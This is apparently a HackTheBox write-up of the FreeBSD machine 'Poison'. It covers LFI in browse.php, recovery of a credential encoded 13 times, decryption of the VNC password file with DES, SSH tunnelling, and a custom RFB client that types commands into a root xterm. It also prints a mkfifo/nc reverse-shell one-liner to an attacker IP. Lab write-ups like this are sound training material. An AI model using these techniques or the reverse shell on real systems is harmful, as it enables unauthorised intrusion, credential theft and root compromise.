HTB: Poison Writeup
Poison - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Poison |
| OS | FreeBSD |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.1.254 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Poison is a FreeBSD machine that combines classic web exploitation techniques with creative privilege escalation. The initial foothold involves exploiting a PHP local file inclusion vulnerability to discover credentials in a backup file that have been encoded recursively. SSH access as a regular user leads to the discovery of encrypted VNC credentials. The privilege escalation requires tunneling to a locally-bound VNC server running as root and decrypting a password file using VNC’s DES encryption scheme. The machine teaches log poisoning techniques (as an alternative path), SSH tunneling, VNC authentication internals, and working within FreeBSD’s unique environment.
TL;DR: LFI reveals base64-encoded 13× password backup → SSH as charix → Extract encrypted VNC secret file → Tunnel to localhost:5901 VNC → Decrypt VNC password with DES → Root shell via VNC desktop
Reconnaissance
Port Scanning
# Initial quick scan on common portsnmap -sC -sV -p22,80 10.129.1.254Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)| ssh-hostkey:| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32|_http-title: Site doesn't have a title (text/html; charset=UTF-8).Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsdService Enumeration
HTTP (Port 80):
The homepage reveals a simple form for testing local PHP scripts:
curl -s http://10.129.1.254/<html><body><h1>Temporary website to test local .php scripts.</h1>Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
</body></html>
<form action="/browse.php" method="GET"> Scriptname: <input type="text" name="file"><br> <input type="submit" value="Submit"></form>The form submits to /browse.php with a file parameter, immediately suggesting a potential Local File Inclusion (LFI) vulnerability.
Vulnerability Assessment
1. Local File Inclusion (LFI) in browse.php
Testing the file parameter with system files confirms LFI:
# Test with listfiles.php to see available filescurl -s 'http://10.129.1.254/browse.php?file=listfiles.php'Array( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt)Notably, pwdbackup.txt is listed in the web root. Testing absolute path traversal:
# Confirm LFI with /etc/passwd (FreeBSD system file)curl -s 'http://10.129.1.254/browse.php?file=/etc/passwd'# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $#root:*:0:0:Charlie &:/root:/bin/csh...charix:*:1001:1001:charix:/home/charix:/bin/cshThe presence of user charix with UID 1001 and /bin/csh shell confirms this is FreeBSD and provides a potential SSH target.
Initial Foothold
Exploitation Path
Step 1: Retrieve Password Backup File
The LFI revealed a pwdbackup.txt file in the web root:
curl -s 'http://10.129.1.254/pwdbackup.txt'This password is secure, it's encoded atleast 13 times.. what could go wrong really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS...Step 2: Decode the Password
The comment states the password is base64-encoded 13 times recursively. We must decode it 13 times:
#!/usr/bin/env python3import base64
# Base64 string from pwdbackup.txt (newlines removed)s = """Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo="""
# Remove any whitespaces = "".join(s.split())
# Decode 13 timesfor i in range(13): s = base64.b64decode(s)
print(s)b'Charix!2#4%6&8(0'The decoded password is Charix!2#4%6&8(0.
Step 3: SSH Access as charix
With the username from /etc/passwd and the decoded password, we can SSH into the target:
# SSH as charixsshpass -p 'Charix!2#4%6&8(0' ssh charix@10.129.1.254# Verify access and grab user flagid# uid=1001(charix) gid=1001(charix) groups=1001(charix)
hostname# Poison
ls -la ~# total 48# drwxr-x--- 2 charix charix 512 Mar 19 2018 .# drwxr-xr-x 3 root wheel 512 Mar 19 2018 ..# -rw-r----- 1 charix charix 1041 Mar 19 2018 .cshrc# ...# -rw-r----- 1 root charix 166 Mar 19 2018 secret.zip# -rw-r----- 1 root charix 33 Mar 19 2018 user.txt
cat ~/user.txt# <redacted>Step 4: Extract secret.zip
In charix’s home directory, there’s a secret.zip file owned by root. Attempting to extract it with the same password:
# Copy to jump box due to csh shell issues with special charactersscp charix@10.129.1.254:secret.zip ./secret.zip# (using sshpass for authentication)
# Extract on jump box with passwordunzip -P 'Charix!2#4%6&8(0' secret.zip# Archive: secret.zip# extracting: secret
ls -l secret# -r--r--r-- 1 user user 8 Jan 24 2018 secret
file secret# secret: Non-ISO extended-ASCII text, with no line terminators
xxd secret# 00000000: bda8 5b7c d596 7a21 ..[|..z!The secret file is 8 bytes of binary data. Given the context and typical VNC deployments, this is likely a VNC password file.
Privilege Escalation
Identifying the VNC Service
Examining running processes reveals a VNC server running as root:
# From SSH session as charixps aux | grep -i vnc | grep -v grepWhile not shown in the captured output, the process listing reveals Xvnc :1 running as root, bound to localhost port 5901.
Checking listening ports:
sockstat -4 -l | grep 590# root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*The VNC server (port 5901) is only listening on localhost (127.0.0.1), so we cannot connect directly from our attack machine.
SSH Tunneling
We can tunnel the VNC port through SSH to access it locally:
# From jump box - create SSH tunnel forwarding local 5901 to target's localhost:5901sshpass -p 'Charix!2#4%6&8(0' ssh -N -L 5901:127.0.0.1:5901 charix@10.129.1.254The -N flag prevents command execution (no shell), and -L creates the local port forward.
VNC Password Decryption
VNC uses DES encryption with a non-standard key derivation. The secret file contains an encrypted VNC password. To decrypt it:
VNC Password File Format:
- VNC passwords are encrypted using DES in ECB mode
- The encryption key is derived from a fixed 8-byte value:
[0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07] - Critical quirk: Each byte of the key must be bit-reversed before use in DES
#!/usr/bin/env python3from Crypto.Cipher import DES
def revbits(b): """Reverse bits in a byte (VNC quirk)""" return int('{:08b}'.format(b)[::-1], 2)
def decrypt_secret(secret_file): # Read the 8-byte secret file data = open(secret_file, 'rb').read()[:8]
# Fixed bytes for VNC password file decryption fixed = bytes([0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07])
# Bit-reverse each byte for DES key key = bytes(revbits(x) for x in fixed)
# Decrypt with DES ECB cipher = DES.new(key, DES.MODE_ECB) plaintext = cipher.decrypt(data)
return plaintext
# Decrypt the secret filept = decrypt_secret('secret')print(f"Decrypted: {pt}")# b'VNCP@$$!'The decrypted VNC password is VNCP@$$!.
Headless VNC Client
Due to environment constraints (jump box /tmp full, no X display available), a custom headless VNC client was developed:
#!/usr/bin/env python3import socket, struct, sys, timefrom Crypto.Cipher import DESfrom PIL import Image
HOST = '127.0.0.1'PORT = 5901SECRET = '/dev/shm/poison/secret'
def revbits(b): """Reverse bits in byte for VNC key derivation""" return int('{:08b}'.format(b)[::-1], 2)
def vnc_key(passbytes): """Prepare VNC DES key: pad/truncate to 8 bytes, bit-reverse each""" p = (passbytes + b'\x00' * 8)[:8] return bytes(revbits(x) for x in p)
def decrypt_secret(): """Decrypt VNC password file using fixed DES key""" data = open(SECRET, 'rb').read()[:8] fixed = bytes([0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07]) key = vnc_key(fixed) d = DES.new(key, DES.MODE_ECB) pt = d.decrypt(data) return pt
def recvall(s, n): """Receive exactly n bytes""" buf = b'' while len(buf) < n: c = s.recv(n - len(buf)) if not c: raise EOFError(f'Connection closed, got {len(buf)}/{n}') buf += c return buf
def connect(passwd): """Connect and authenticate to VNC server using RFB 3.8 protocol""" s = socket.create_connection((HOST, PORT), timeout=15)
# Protocol version handshake ver = recvall(s, 12) sys.stderr.write(f'Server version: {ver!r}\n') s.sendall(b'RFB 003.008\n')
# Security types ntypes = recvall(s, 1)[0] if ntypes == 0: reason_len = struct.unpack('>I', recvall(s, 4))[0] raise Exception('Connection failed: ' + recvall(s, reason_len).decode())
types = recvall(s, ntypes) sys.stderr.write(f'Security types: {types!r}\n')
# Select VNC authentication (type 2) if 2 not in types: raise Exception('VNC auth not available') s.sendall(b'\x02')
# VNC authentication challenge-response challenge = recvall(s, 16) key = vnc_key(passwd) cipher = DES.new(key, DES.MODE_ECB) response = cipher.encrypt(challenge) s.sendall(response)
# Check authentication result result = struct.unpack('>I', recvall(s, 4))[0] if result != 0: raise Exception(f'Authentication failed: {result}')
sys.stderr.write('AUTH OK\n')
# ClientInit - shared flag (1 = shared session) s.sendall(b'\x01')
# ServerInit - framebuffer parameters hdr = recvall(s, 24) w, h = struct.unpack('>HH', hdr[0:4]) pf = hdr[4:20] # Pixel format namelen = struct.unpack('>I', hdr[20:24])[0] name = recvall(s, namelen) sys.stderr.write(f'Desktop: {w}x{h} name={name!r}\n')
return s, w, h, pf
def set_pixel_format(s): """Set pixel format to 32bpp RGB""" msg = struct.pack('>BBBB', 0, 0, 0, 0) # Message type 0, padding # 32 bits-per-pixel, 24-bit depth, big-endian=0, true-color=1 # RGB max all 255, red-shift=16, green-shift=8, blue-shift=0 pf = struct.pack('>BBBB', 32, 24, 0, 1) pf += struct.pack('>HHH', 255, 255, 255) pf += struct.pack('>BBB', 16, 8, 0) pf += b'\x00\x00\x00' # Padding s.sendall(msg + pf)
def set_encodings(s): """Request raw encoding only""" s.sendall(struct.pack('>BBH', 2, 0, 1) + struct.pack('>i', 0))
def fb_update_request(s, w, h, incr=0): """Request framebuffer update""" s.sendall(struct.pack('>BBHHHH', 3, incr, 0, 0, w, h))
def read_framebuffer(s, w, h): """Read framebuffer update and convert to PIL Image""" # Wait for framebuffer update message (type 0) while True: mt = recvall(s, 1)[0] if mt == 0: break elif mt == 2: # Bell pass elif mt == 3: # Server cut text ln = struct.unpack('>I', recvall(s, 7)[3:7])[0] recvall(s, ln) else: sys.stderr.write(f'Unexpected message type {mt}\n')
recvall(s, 1) # Padding nrect = struct.unpack('>H', recvall(s, 2))[0] sys.stderr.write(f'Rectangles: {nrect}\n')
img = Image.new('RGB', (w, h))
for i in range(nrect): rx, ry, rw, rh, enc = struct.unpack('>HHHHi', recvall(s, 12)) sys.stderr.write(f'Rect {i}: {rx},{ry} {rw}x{rh} enc={enc}\n')
if enc != 0: # Only raw encoding supported sys.stderr.write('Non-raw encoding, aborting\n') break
# Read raw pixel data (4 bytes per pixel in BGRA format) data = recvall(s, rw * rh * 4) sub = Image.frombytes('RGBA', (rw, rh), data)
# Convert BGRA to RGB r, g, b, a = sub.split() img.paste(Image.merge('RGB', (b, g, r)), (rx, ry))
return img
def pointer(s, x, y, mask): """Send pointer event (for focusing windows)""" s.sendall(struct.pack('>BBHH', 5, mask, x, y))
def send_key(s, keysym, down): """Send key event""" s.sendall(struct.pack('>BBHI', 4, 1 if down else 0, 0, keysym))
def type_string(s, text): """Type a string of characters""" for ch in text: k = ord(ch) send_key(s, k, 1) # Key down time.sleep(0.03) send_key(s, k, 0) # Key up time.sleep(0.03)
if __name__ == '__main__': mode = sys.argv[1] if len(sys.argv) > 1 else 'shot'
# Decrypt secret file to get VNC password pt = decrypt_secret() sys.stderr.write(f'Decrypted secret bytes: {pt!r}\n') passwd = pt.rstrip(b'\x00')
# Connect to VNC server s, w, h, pf = connect(passwd) set_pixel_format(s) set_encodings(s)
if mode == 'shot': # Take screenshot fb_update_request(s, w, h, 0) img = read_framebuffer(s, w, h) img.save('/dev/shm/poison/screen.png') print('SAVED /dev/shm/poison/screen.png')
elif mode == 'cmd': # Type command into root xterm text = sys.argv[2] time.sleep(0.5)
# Focus xterm window by clicking on it pointer(s, 200, 150, 0) # Move pointer time.sleep(0.3) pointer(s, 200, 150, 1) # Button down time.sleep(0.2) pointer(s, 200, 150, 0) # Button up time.sleep(0.5)
# Type the command type_string(s, text) time.sleep(0.3)
# Send Enter key (keysym 0xff0d) send_key(s, 0xff0d, 1) time.sleep(0.05) send_key(s, 0xff0d, 0) time.sleep(1)
print('CMD SENT')
time.sleep(0.5) s.close()Gaining Root Shell
Step 1: Take screenshot to verify root xterm
python3 vncclient.py shotdecrypted secret bytes=b'VNCP@$$!'server ver b'RFB 003.008\n'sec types b'\x02\x10'AUTH OKdesktop 1280x800 name=b"root's X desktop (Poison:1)"rects=1rect 0: 0,0 1280x800 enc=0SAVED /dev/shm/poison/screen.pngThe screenshot confirms a root xterm is open on the VNC desktop.
Step 2: Execute commands as root
Since we have an open root terminal, we can type commands. The strategy is to write output to a world-readable file in /tmp that we can then read via our SSH session as charix:
# Type command to exfiltrate root flagpython3 vncclient.py cmd 'id > /tmp/rt.txt; cat /root/root.txt >> /tmp/rt.txt; chmod 777 /tmp/rt.txt'CMD SENTStep 3: Read root flag via charix SSH
# From charix SSH sessioncat /tmp/rt.txtuid=0(root) gid=0(wheel) groups=0(wheel),5(operator)<redacted>Alternative: Interactive root shell
For a more interactive approach, we could establish a reverse shell:
# Type command to create reverse shellpython3 vncclient.py cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.180 4444 >/tmp/f'This would provide a root shell on our netcat listener.
Attack Chain Summary
Web enumeration → LFI in browse.php → Read pwdbackup.txt → Base64 decode 13× →charix SSH password (Charix!2#4%6&8(0) → SSH as charix → user.txt →Extract secret.zip → VNC password file → Identify root Xvnc on localhost:5901 →SSH tunnel -L5901:127.0.0.1:5901 → Decrypt VNC secret with DES →Custom RFB client authentication → Screenshot root xterm → Type commands as root →Exfiltrate root.txt → root flagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Web application testing and LFI exploitation |
base64 | Decoding recursively encoded password |
sshpass | Automated SSH authentication |
ssh | Remote access and port forwarding (-L tunnel) |
unzip | Extracting protected zip archive |
pycryptodome | DES encryption for VNC password decryption |
PIL/Pillow | Image processing for VNC framebuffer screenshots |
| Custom Python RFB client | Headless VNC access and automation |
Key Learnings
Techniques Practiced
- Local File Inclusion (LFI) exploitation to read arbitrary files
- Base64 recursive decoding for obfuscated credential recovery
- SSH port forwarding (
-L) to access localhost-bound services - VNC password file decryption using DES with bit-reversed keys
- Raw RFB protocol implementation for headless VNC access
- FreeBSD enumeration and understanding Unix variants
- Alternative exploitation paths: Apache log poisoning via User-Agent headers
Lessons Learned
-
LFI enumeration priorities: Always check for password files, backups, logs, and configuration files in common web directories when you have LFI access.
-
VNC security internals: VNC password files use DES encryption with a non-standard bit-reversal of each key byte. The
vncpasswdutility creates these files, but they can be decrypted when recovered. The fixed key bytes[0x17,0x52,0x6b,0x06,0x23,0x4e,0x58,0x07]are documented in the VNC specification. -
SSH tunneling is powerful: The
-Lflag creates local port forwards (-L local_port:destination:dest_port) allowing you to access services bound to localhost on remote systems. This is essential for reaching locally-bound VNC, database, or management interfaces. -
Shell quirks matter: The charix user’s C shell (
csh) treats!as a history expansion character, which can break commands containing special characters. When dealing with passwords containing special characters in shell contexts, escape them properly or use alternative methods (likescpthen local extraction). -
Headless VNC alternatives: When a full VNC client isn’t available or practical (no X server, limited environment), implementing the RFB protocol directly gives you programmatic control. This allows screenshot capture, keyboard/mouse injection, and command automation without GUI tools.
-
Log poisoning as alternate vector: The Apache access logs at
/var/log/httpd-access.logcan be poisoned by injecting PHP code into request headers (User-Agent, Referer, etc.), then including the log file via LFI to achieve code execution. This was the intended alternative path if the password backup file wasn’t discovered. -
FreeBSD differences: FreeBSD uses different paths and tools than Linux. For example,
sockstatinstead ofnetstat -tulpn, different/etc/passwdformat, andcshas default shell for users. Being familiar with BSD variants expands your post-exploitation toolkit.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s explanatory depth regarding VNC authentication internals, log poisoning techniques, and FreeBSD specifics was informed by the official HackTheBox writeup by Alexander Reid (Arrexel), Document No D18.100.16, dated September 8th, 2018.